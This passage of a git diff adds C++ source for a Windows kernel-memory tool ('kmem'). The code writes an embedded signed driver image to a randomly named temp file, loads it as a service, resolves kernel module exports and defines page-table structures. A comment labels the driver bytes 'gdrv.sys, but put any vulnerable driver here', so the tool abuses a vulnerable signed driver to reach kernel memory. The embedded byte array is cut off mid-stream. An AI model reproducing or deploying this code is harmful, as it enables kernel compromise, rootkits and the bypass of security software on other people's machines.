"ABCDEFGHIJKLMNOPQRSTUVWXYZ" + "abcdefghijklmnopqrstuvwxyz"; + const std::size_t max_index = (sizeof(charset) - 1); + return charset[rand() % max_index]; + }; + std::string str(length, 0); + std::generate_n(str.begin(), length, randchar); + return str; + }; + + const auto service_name = random_file_name(16); + const auto file_path = std::filesystem::temp_directory_path().string() + service_name; + std::ofstream output_file(file_path.c_str(), std::ios::binary); + + output_file.write((char*)drv_buffer.data(), drv_buffer.size()); + output_file.close(); + + return { load(file_path, service_name), service_name }; + } + + __forceinline auto load(const std::uint8_t* buffer, const std::size_t size) -> std::tuple + { + std::vector image(buffer, buffer + size); + return load(image); + } + + __forceinline auto unload(const std::string& service_name) -> bool + { + std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\"); + reg_path += service_name; + + ANSI_STRING driver_rep_path_cstr; + UNICODE_STRING driver_reg_path_unicode; + + RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str()); + RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true); + + const bool unload_drv = STATUS_SUCCESS == NtUnloadDriver(&driver_reg_path_unicode); + if (!unload_drv) return false; + + const auto image_path = std::filesystem::temp_directory_path().string() + service_name; + const bool delete_reg = util::delete_service_entry(service_name); + return delete_reg && unload_drv; + } +} \ No newline at end of file diff --git a/kmem/util/nt.hpp b/kmem/util/nt.hpp new file mode 100644 index 0000000..a9fd47d --- /dev/null +++ b/kmem/util/nt.hpp @@ -0,0 +1,193 @@ +#pragma once +#include +#include +#include +#include +#include +#include +#pragma comment(lib, "ntdll.lib") + +#if _DEBUG +#define DBG_ASSERT(...) assert(__VA_ARGS__) +#define DBG_PRINT(...) printf(__VA_ARGS__) +#else +#define DBG_ASSERT(...) assert(__VA_ARGS__) +#define DBG_PRINT(...) printf(__VA_ARGS__) +#endif + +#define PAGE_4KB 0x1000 +#define MM_COPY_MEMORY_PHYSICAL 0x1 +#define MM_COPY_MEMORY_VIRTUAL 0x2 +#define PAGE_IN(addr, size) memset(addr, NULL, size) + +constexpr auto SystemModuleInformation = 11; +constexpr auto SystemHandleInformation = 16; +constexpr auto SystemExtendedHandleInformation = 64; + +typedef struct _RTL_PROCESS_MODULE_INFORMATION +{ + HANDLE Section; + PVOID MappedBase; + PVOID ImageBase; + ULONG ImageSize; + ULONG Flags; + USHORT LoadOrderIndex; + USHORT InitOrderIndex; + USHORT LoadCount; + USHORT OffsetToFileName; + UCHAR FullPathName[256]; +} RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION; + +typedef struct _RTL_PROCESS_MODULES +{ + ULONG NumberOfModules; + RTL_PROCESS_MODULE_INFORMATION Modules[1]; +} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES; + +typedef LARGE_INTEGER PHYSICAL_ADDRESS, * PPHYSICAL_ADDRESS; + +typedef struct _MM_COPY_ADDRESS { + union { + PVOID VirtualAddress; + PHYSICAL_ADDRESS PhysicalAddress; + }; +} MM_COPY_ADDRESS, * PMMCOPY_ADDRESS; + +using PEPROCESS = PVOID; + +using PsLookupProcessByProcessId = NTSTATUS (__fastcall*)( + HANDLE ProcessId, + PEPROCESS* Process +); + +using MmCopyMemory = NTSTATUS(__stdcall*)( + PVOID, + MM_COPY_ADDRESS, + SIZE_T, + ULONG, + PSIZE_T +); + +using MmGetVirtualForPhysical = std::uintptr_t(__fastcall*)( + __in std::uintptr_t PhysicalAddress +); + +using MmGetPhysicalAddress = std::uintptr_t(__fastcall*)( + __in std::uintptr_t BaseAddress +); + +// PsGetAllocatedFullProcessImageNameEx... +using GET_PROC_NAME = std::uint32_t(*)(PEPROCESS); + +typedef union _virt_addr_t +{ + void* value; + struct + { + std::uint64_t offset : 12; + std::uint64_t pt_index : 9; + std::uint64_t pd_index : 9; + std::uint64_t pdpt_index : 9; + std::uint64_t pml4_index : 9; + std::uint64_t reserved : 16; + }; +} virt_addr_t, *pvirt_addr_t; +static_assert(sizeof(virt_addr_t) == sizeof(PVOID), "Size mismatch, only 64-bit supported."); + +typedef union _pml4e +{ + std::uint64_t value; + struct + { + std::uint64_t present : 1; // Must be 1, region invalid if 0. + std::uint64_t ReadWrite : 1; // If 0, writes not allowed. + std::uint64_t user_supervisor : 1; // If 0, user-mode accesses not allowed. + std::uint64_t PageWriteThrough : 1; // Determines the memory type used to access PDPT. + std::uint64_t page_cache : 1; // Determines the memory type used to access PDPT. + std::uint64_t accessed : 1; // If 0, this entry has not been used for translation. + std::uint64_t Ignored1 : 1; + std::uint64_t large_page : 1; // Must be 0 for PML4E. + std::uint64_t Ignored2 : 4; + std::uint64_t pfn : 36; // The page frame number of the PDPT of this PML4E. + std::uint64_t Reserved : 4; + std::uint64_t Ignored3 : 11; + std::uint64_t nx : 1; // If 1, instruction fetches not allowed. + }; +} pml4e, * ppml4e; +static_assert(sizeof(pml4e) == sizeof(PVOID), "Size mismatch, only 64-bit supported."); + +typedef union _pdpte +{ + std::uint64_t value; + struct + { + std::uint64_t present : 1; // Must be 1, region invalid if 0. + std::uint64_t rw : 1; // If 0, writes not allowed. + std::uint64_t user_supervisor : 1; // If 0, user-mode accesses not allowed. + std::uint64_t PageWriteThrough : 1; // Determines the memory type used to access PD. + std::uint64_t page_cache : 1; // Determines the memory type used to access PD. + std::uint64_t accessed : 1; // If 0, this entry has not been used for translation. + std::uint64_t Ignored1 : 1; + std::uint64_t large_page : 1; // If 1, this entry maps a 1GB page. + std::uint64_t Ignored2 : 4; + std::uint64_t pfn : 36; // The page frame number of the PD of this PDPTE. + std::uint64_t Reserved : 4; + std::uint64_t Ignored3 : 11; + std::uint64_t nx : 1; // If 1, instruction fetches not allowed. + }; +} pdpte, * ppdpte; +static_assert(sizeof(pdpte) == sizeof(PVOID), "Size mismatch, only 64-bit supported."); + +typedef union _pde +{ + std::uint64_t value; + struct + { + std::uint64_t present : 1; // Must be 1, region invalid if 0. + std::uint64_t rw : 1; // If 0, writes not allowed. + std::uint64_t user_supervisor : 1; // If 0, user-mode accesses not allowed. + std::uint64_t PageWriteThrough : 1; // Determines the memory type used to access PT. + std::uint64_t page_cache : 1; // Determines the memory type used to access PT. + std::uint64_t accessed : 1; // If 0, this entry has not been used for translation. + std::uint64_t Ignored1 : 1; + std::uint64_t large_page : 1; // If 1, this entry maps a 2MB page. + std::uint64_t Ignored2 : 4; + std::uint64_t pfn : 36; // The page frame number of the PT of this PDE. + std::uint64_t Reserved : 4; + std::uint64_t Ignored3 : 11; + std::uint64_t nx : 1; // If 1, instruction fetches not allowed. + }; +} pde, * ppde; +static_assert(sizeof(pde) == sizeof(PVOID), "Size mismatch, only 64-bit supported."); + +typedef union _pte +{ + std::uint64_t value; + struct + { + std::uint64_t present : 1; // Must be 1, region invalid if 0. + std::uint64_t rw : 1; // If 0, writes not allowed. + std::uint64_t user_supervisor : 1; // If 0, user-mode accesses not allowed. + std::uint64_t PageWriteThrough : 1; // Determines the memory type used to access the memory. + std::uint64_t page_cache : 1; // Determines the memory type used to access the memory. + std::uint64_t accessed : 1; // If 0, this entry has not been used for translation. + std::uint64_t Dirty : 1; // If 0, the memory backing this page has not been written to. + std::uint64_t PageAccessType : 1; // Determines the memory type used to access the memory. + std::uint64_t Global : 1; // If 1 and the PGE bit of CR4 is set, translations are global. + std::uint64_t Ignored2 : 3; + std::uint64_t pfn : 36; // The page frame number of the backing physical page. + std::uint64_t reserved : 4; + std::uint64_t Ignored3 : 7; + std::uint64_t ProtectionKey : 4; // If the PKE bit of CR4 is set, determines the protection key. + std::uint64_t nx : 1; // If 1, instruction fetches not allowed. + }; +} pte, * ppte; +static_assert(sizeof(pte) == sizeof(PVOID), "Size mismatch, only 64-bit supported."); + +struct pt_entries +{ + std::pair pml4; + std::pair pdpt; + std::pair pd; + std::pair pt; +}; \ No newline at end of file diff --git a/kmem/util/util.hpp b/kmem/util/util.hpp new file mode 100644 index 0000000..fd07443 --- /dev/null +++ b/kmem/util/util.hpp @@ -0,0 +1,323 @@ +#pragma once +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "nt.hpp" + +namespace util +{ + //--- ranges of physical memory + inline std::map pmem_ranges; + + //--- validates the address + __forceinline auto is_valid(std::uintptr_t addr) -> bool + { + for (auto range : pmem_ranges) + if (addr >= range.first && addr <= range.first + range.second) + return true; + return false; + } + + inline const auto init_ranges = ([&]() -> bool + { + HKEY h_key; + DWORD type, size; + LPBYTE data; + RegOpenKeyEx(HKEY_LOCAL_MACHINE, "HARDWARE\\RESOURCEMAP\\System Resources\\Physical Memory", 0, KEY_READ, &h_key); + RegQueryValueEx(h_key, ".Translated", NULL, &type, NULL, &size); //get size + data = new BYTE[size]; + RegQueryValueEx(h_key, ".Translated", NULL, &type, data, &size); + DWORD count = *(DWORD*)(data + 16); + auto pmi = data + 24; + for (int dwIndex = 0; dwIndex < count; dwIndex++) + { + pmem_ranges.emplace(*(uint64_t*)(pmi + 0), *(uint64_t*)(pmi + 8)); + pmi += 20; + } + delete[] data; + RegCloseKey(h_key); + return true; + })(); + + __forceinline auto get_module_base(const char* module_name) -> std::uintptr_t + { + void* buffer = nullptr; + DWORD buffer_size = NULL; + + NTSTATUS status = NtQuerySystemInformation( + static_cast(SystemModuleInformation), + buffer, + buffer_size, + &buffer_size + ); + + while (status == STATUS_INFO_LENGTH_MISMATCH) + { + VirtualFree(buffer, NULL, MEM_RELEASE); + buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + status = NtQuerySystemInformation(static_cast(SystemModuleInformation), buffer, buffer_size, &buffer_size); + } + + if (!NT_SUCCESS(status)) + { + VirtualFree(buffer, NULL, MEM_RELEASE); + return NULL; + } + + const auto modules = static_cast(buffer); + for (auto idx = 0u; idx < modules->NumberOfModules; ++idx) + { + const std::string current_module_name = std::string(reinterpret_cast(modules->Modules[idx].FullPathName) + modules->Modules[idx].OffsetToFileName); + if (!_stricmp(current_module_name.c_str(), module_name)) + { + const uint64_t result = reinterpret_cast(modules->Modules[idx].ImageBase); + VirtualFree(buffer, NULL, MEM_RELEASE); + return result; + } + } + + VirtualFree(buffer, NULL, MEM_RELEASE); + return {}; + } + + __forceinline auto start_runtime_broker() -> std::uint32_t + { + STARTUPINFO si; + PROCESS_INFORMATION pi; + + ZeroMemory(&si, sizeof(si)); + si.cb = sizeof(si); + ZeroMemory(&pi, sizeof(pi)); + + CreateProcessA( + NULL, + (LPSTR)"C:\\Windows\\System32\\RuntimeBroker.exe", + NULL, + NULL, + FALSE, + 0, + NULL, + NULL, + &si, + &pi + ); + + SuspendThread(pi.hThread); + return pi.dwProcessId; + } + + + __forceinline auto get_file_header(void* base_addr) -> PIMAGE_FILE_HEADER + { + if (!base_addr || *(short*)base_addr != IMAGE_DOS_SIGNATURE) + return {}; + + PIMAGE_DOS_HEADER dos_headers = + reinterpret_cast(base_addr); + + PIMAGE_NT_HEADERS nt_headers = + reinterpret_cast( + reinterpret_cast(base_addr) + dos_headers->e_lfanew); + + return &nt_headers->FileHeader; + } + + __forceinline auto get_pid(const char* proc_name) -> std::uint32_t + { + PROCESSENTRY32 proc_info; + proc_info.dwSize = sizeof(proc_info); + + HANDLE proc_snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); + if (proc_snapshot == INVALID_HANDLE_VALUE) + return NULL; + + Process32First(proc_snapshot, &proc_info); + if (!strcmp(proc_info.szExeFile, proc_name)) + { + CloseHandle(proc_snapshot); + return proc_info.th32ProcessID; + } + + while (Process32Next(proc_snapshot, &proc_info)) + { + if (!strcmp(proc_info.szExeFile, proc_name)) + { + CloseHandle(proc_snapshot); + return proc_info.th32ProcessID; + } + } + + CloseHandle(proc_snapshot); + return NULL; + } + + __forceinline auto get_kmodule_base(const char* module_name) -> std::uintptr_t + { + void* buffer = nullptr; + DWORD buffer_size = NULL; + + NTSTATUS status = NtQuerySystemInformation(static_cast(SystemModuleInformation), buffer, buffer_size, &buffer_size); + + while (status == STATUS_INFO_LENGTH_MISMATCH) + { + VirtualFree(buffer, NULL, MEM_RELEASE); + buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + status = NtQuerySystemInformation(static_cast(SystemModuleInformation), buffer, buffer_size, &buffer_size); + } + + if (!NT_SUCCESS(status)) + { + VirtualFree(buffer, NULL, MEM_RELEASE); + return NULL; + } + + const auto modules = static_cast(buffer); + for (auto idx = 0u; idx < modules->NumberOfModules; ++idx) + { + const std::string current_module_name = std::string(reinterpret_cast(modules->Modules[idx].FullPathName) + modules->Modules[idx].OffsetToFileName); + if (!_stricmp(current_module_name.c_str(), module_name)) + { + const uint64_t result = reinterpret_cast(modules->Modules[idx].ImageBase); + VirtualFree(buffer, NULL, MEM_RELEASE); + return result; + } + } + + VirtualFree(buffer, NULL, MEM_RELEASE); + return NULL; + } + + __forceinline auto get_kmodule_export(const char* module_name, const char* export_name, bool rva = false) -> void* + { + void* buffer = nullptr; + DWORD buffer_size = 0; + + NTSTATUS status = NtQuerySystemInformation(static_cast(SystemModuleInformation), buffer, buffer_size, &buffer_size); + + while (status == STATUS_INFO_LENGTH_MISMATCH) + { + VirtualFree(buffer, 0, MEM_RELEASE); + buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + status = NtQuerySystemInformation(static_cast(SystemModuleInformation), buffer, buffer_size, &buffer_size); + } + + if (!NT_SUCCESS(status)) + { + VirtualFree(buffer, 0, MEM_RELEASE); + return 0; + } + + const auto modules = static_cast(buffer); + for (auto idx = 0u; idx < modules->NumberOfModules; ++idx) + { + // find module and then load library it + const std::string current_module_name = std::string(reinterpret_cast(modules->Modules[idx].FullPathName) + modules->Modules[idx].OffsetToFileName); + if (!_stricmp(current_module_name.c_str(), module_name)) + { + // had to shoot the tires off of "\\SystemRoot\\" + std::string full_path = reinterpret_cast(modules->Modules[idx].FullPathName); + full_path.replace( + full_path.find("\\SystemRoot\\"), + sizeof("\\SystemRoot\\") - 1, + std::string(getenv("SYSTEMROOT")).append("\\") + ); + + auto module_base = LoadLibraryExA(full_path.c_str(), + NULL, DONT_RESOLVE_DLL_REFERENCES); + PIMAGE_DOS_HEADER p_idh; + PIMAGE_NT_HEADERS p_inh; + PIMAGE_EXPORT_DIRECTORY p_ied; + + PDWORD addr, name; + PWORD ordinal; + + p_idh = (PIMAGE_DOS_HEADER)module_base; + if (p_idh->e_magic != IMAGE_DOS_SIGNATURE) + return NULL; + + p_inh = (PIMAGE_NT_HEADERS)((LPBYTE)module_base + p_idh->e_lfanew); + if (p_inh->Signature != IMAGE_NT_SIGNATURE) + return NULL; + + if (p_inh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == 0) + return NULL; + + p_ied = (PIMAGE_EXPORT_DIRECTORY)((LPBYTE)module_base + + p_inh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); + + addr = (PDWORD)((LPBYTE)module_base + p_ied->AddressOfFunctions); + name = (PDWORD)((LPBYTE)module_base + p_ied->AddressOfNames); + ordinal = (PWORD)((LPBYTE)module_base + p_ied->AddressOfNameOrdinals); + + for (auto i = 0; i < p_ied->AddressOfFunctions; i++) + { + if (!strcmp(export_name, (char*)module_base + name[i])) + { + if (!rva) + { + auto result = (void*)((std::uintptr_t)modules->Modules[idx].ImageBase + addr[ordinal[i]]); + VirtualFree(buffer, NULL, MEM_RELEASE); + return result; + } + else + { + auto result = (void*)addr[ordinal[i]]; + VirtualFree(buffer, NULL, MEM_RELEASE); + return result; + } + } + } + } + } + VirtualFree(buffer, NULL, MEM_RELEASE); + return NULL; + } + + __forceinline auto get_kmodule_export(void* module_base, const char* export_name) -> void* + { + PIMAGE_DOS_HEADER p_idh; + PIMAGE_NT_HEADERS p_inh; + PIMAGE_EXPORT_DIRECTORY p_ied; + + PDWORD addr, name; + PWORD ordinal; + + p_idh = (PIMAGE_DOS_HEADER)module_base; + if (p_idh->e_magic != IMAGE_DOS_SIGNATURE) + return NULL; + + p_inh = (PIMAGE_NT_HEADERS)((LPBYTE)module_base + p_idh->e_lfanew); + if (p_inh->Signature != IMAGE_NT_SIGNATURE) + return NULL; + + if (p_inh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == 0) + return NULL; + + p_ied = (PIMAGE_EXPORT_DIRECTORY)((LPBYTE)module_base + + p_inh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); + + addr = (PDWORD)((LPBYTE)module_base + p_ied->AddressOfFunctions); + name = (PDWORD)((LPBYTE)module_base + p_ied->AddressOfNames); + ordinal = (PWORD)((LPBYTE)module_base + p_ied->AddressOfNameOrdinals); + + for (auto i = 0; i < p_ied->AddressOfFunctions; i++) + { + if (!strcmp(export_name, (char*)module_base + name[i])) + { + auto result = (void*)((std::uintptr_t)module_base + addr[ordinal[i]]); + return result; + } + } + return NULL; + } +} \ No newline at end of file diff --git a/kmem/vdm/raw_driver.hpp b/kmem/vdm/raw_driver.hpp new file mode 100644 index 0000000..40ed341 --- /dev/null +++ b/kmem/vdm/raw_driver.hpp @@ -0,0 +1,2242 @@ +#include + +namespace vdm +{ + // gdrv.sys, but put any vulnerable driver here... + constexpr std::uint8_t raw_driver[] = + { + 0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, + 0xFF, 0xFF, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xF0, 0x00, 0x00, 0x00, 0x0E, 0x1F, 0xBA, 0x0E, 0x00, 0xB4, 0x09, 0xCD, + 0x21, 0xB8, 0x01, 0x4C, 0xCD, 0x21, 0x54, 0x68, 0x69, 0x73, 0x20, 0x70, + 0x72, 0x6F, 0x67, 0x72, 0x61, 0x6D, 0x20, 0x63, 0x61, 0x6E, 0x6E, 0x6F, + 0x74, 0x20, 0x62, 0x65, 0x20, 0x72, 0x75, 0x6E, 0x20, 0x69, 0x6E, 0x20, + 0x44, 0x4F, 0x53, 0x20, 0x6D, 0x6F, 0x64, 0x65, 0x2E, 0x0D, 0x0D, 0x0A, + 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDB, 0xC8, 0x17, 0xA3, + 0x9F, 0xA9, 0x79, 0xF0, 0x9F, 0xA9, 0x79, 0xF0, 0x9F, 0xA9, 0x79, 0xF0, + 0x9F, 0xA9, 0x78, 0xF0, 0x82, 0xA9, 0x79, 0xF0, 0xBD, 0xC9, 0x78, 0xF1, + 0x9A, 0xA9, 0x79, 0xF0, 0xBD, 0xC9, 0x7A, 0xF1, 0x9A, 0xA9, 0x79, 0xF0, + 0xBD, 0xC9, 0x7D, 0xF1, 0x9A, 0xA9, 0x79, 0xF0, 0x08, 0xF7, 0x7D, 0xF1, + 0x9E, 0xA9, 0x79, 0xF0, 0x00, 0xA1, 0x04, 0xF0, 0x9E, 0xA9, 0x79, 0xF0, + 0x0D, 0xF7, 0x86, 0xF0, 0x9E, 0xA9, 0x79, 0xF0, 0x08, 0xF7, 0x7B, 0xF1, + 0x9E, 0xA9, 0x79, 0xF0, 0x52, 0x69, 0x63, 0x68, 0x9F, 0xA9, 0x79, 0xF0, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x50, 0x45, 0x00, 0x00, 0x64, 0x86, 0x08, 0x00, 0x65, 0xEB, 0x20, 0x5A, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF0, 0x00, 0x22, 0x00, + 0x0B, 0x02, 0x0E, 0x00, 0x00, 0x32, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, + 0x00, 0x02, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, + 0x06, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB0, 0x00, 0x00, + 0x00, 0x04, 0x00, 0x00, 0x2F, 0xF6, 0x00, 0x00, 0x01, 0x00, 0x60, 0x01, + 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x90, 0x80, 0x00, 0x00, 0x3C, 0x00, 0x00, 0x00, 0x00, 0x90, 0x00, 0x00, + 0x48, 0x03, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0xEC, 0x01, 0x00, 0x00, + 0x00, 0x4A, 0x00, 0x00, 0xA8, 0x1E, 0x00, 0x00, 0x00, 0xA0, 0x00, 0x00, + 0x18, 0x00, 0x00, 0x00, 0x20, 0x41, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x60, 0x41, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0xF8, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x2E, 0x74, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00, 0x8F, 0x2A, 0x00, 0x00, + 0x00, 0x10, 0x00, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x20, 0x00, 0x00, 0x68, 0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, + 0xA0, 0x06, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, + 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x48, 0x2E, 0x64, 0x61, 0x74, + 0x61, 0x00, 0x00, 0x00, 0x54, 0x00, 0x00, 0x00, 0x00, 0x50, 0x00, 0x00, + 0x00, 0x02, 0x00, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0xC8, + 0x2E, 0x70, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0xEC, 0x01, 0x00, 0x00, + 0x00, 0x60, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x3A, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x40, 0x00, 0x00, 0x48, 0x2E, 0x67, 0x66, 0x69, 0x64, 0x73, 0x00, 0x00, + 0x04, 0x00, 0x00, 0x00, 0x00, 0x70, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, + 0x00, 0x3C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x48, 0x49, 0x4E, 0x49, 0x54, + 0x00, 0x00, 0x00, 0x00, 0x4C, 0x04, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, + 0x00, 0x06, 0x00, 0x00, 0x00, 0x3E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x62, + 0x2E, 0x72, 0x73, 0x72, 0x63, 0x00, 0x00, 0x00, 0x48, 0x03, 0x00, 0x00, + 0x00, 0x90, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x44, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x40, 0x00, 0x00, 0x42, 0x2E, 0x72, 0x65, 0x6C, 0x6F, 0x63, 0x00, 0x00, + 0x18, 0x00, 0x00, 0x00, 0x00, 0xA0, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, + 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x42, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x56, 0x57, 0x50, 0x53, 0x51, 0x52, 0x66, 0x8B, + 0x05, 0x45, 0x40, 0x00, 0x00, 0x66, 0x8B, 0x1D, 0x3C, 0x40, 0x00, 0x00, + 0x66, 0x8B, 0x0D, 0x33, 0x40, 0x00, 0x00, 0x66, 0x8B, 0x15, 0x2A, 0x40, + 0x00, 0x00, 0x66, 0x8B, 0x35, 0x21, 0x40, 0x00, 0x00, 0x66, 0x8B, 0x3D, + 0x18, 0x40, 0x00, 0x00, 0xEE, 0xE6, 0xEB, 0xE6, 0xEB, 0x66, 0x89, 0x05, + 0x16, 0x40, 0x00, 0x00, 0x66, 0x89, 0x1D, 0x0D, 0x40, 0x00, 0x00, 0x66, + 0x89, 0x0D, 0x04, 0x40, 0x00, 0x00, 0x66, 0x89, 0x15, 0xFB, 0x3F, 0x00, + 0x00, 0x66, 0x89, 0x35, 0xF2, 0x3F, 0x00, 0x00, 0x66, 0x89, 0x3D, 0xE9, + 0x3F, 0x00, 0x00, 0x5A, 0x59, 0x5B, 0x58, 0x5F, 0x5E, 0xC3, 0x56, 0x57, + 0x50, 0x53, 0x51, 0x52, 0x8B, 0x05, 0xC6, 0x3F, 0x00, 0x00, 0x8B, 0x1D, + 0xBC, 0x3F, 0x00, 0x00, 0x8B, 0x0D, 0xB2, 0x3F, 0x00, 0x00, 0x8B, 0x15, + 0xA8, 0x3F, 0x00, 0x00, 0x8B, 0x35, 0x9E, 0x3F, 0x00, 0x00, 0x8B, 0x3D, + 0x94, 0x3F, 0x00, 0x00, 0xEE, 0xE6, 0xEB, 0xE6, 0xEB, 0x89, 0x05, 0x9D, + 0x3F, 0x00, 0x00, 0x89, 0x1D, 0x93, 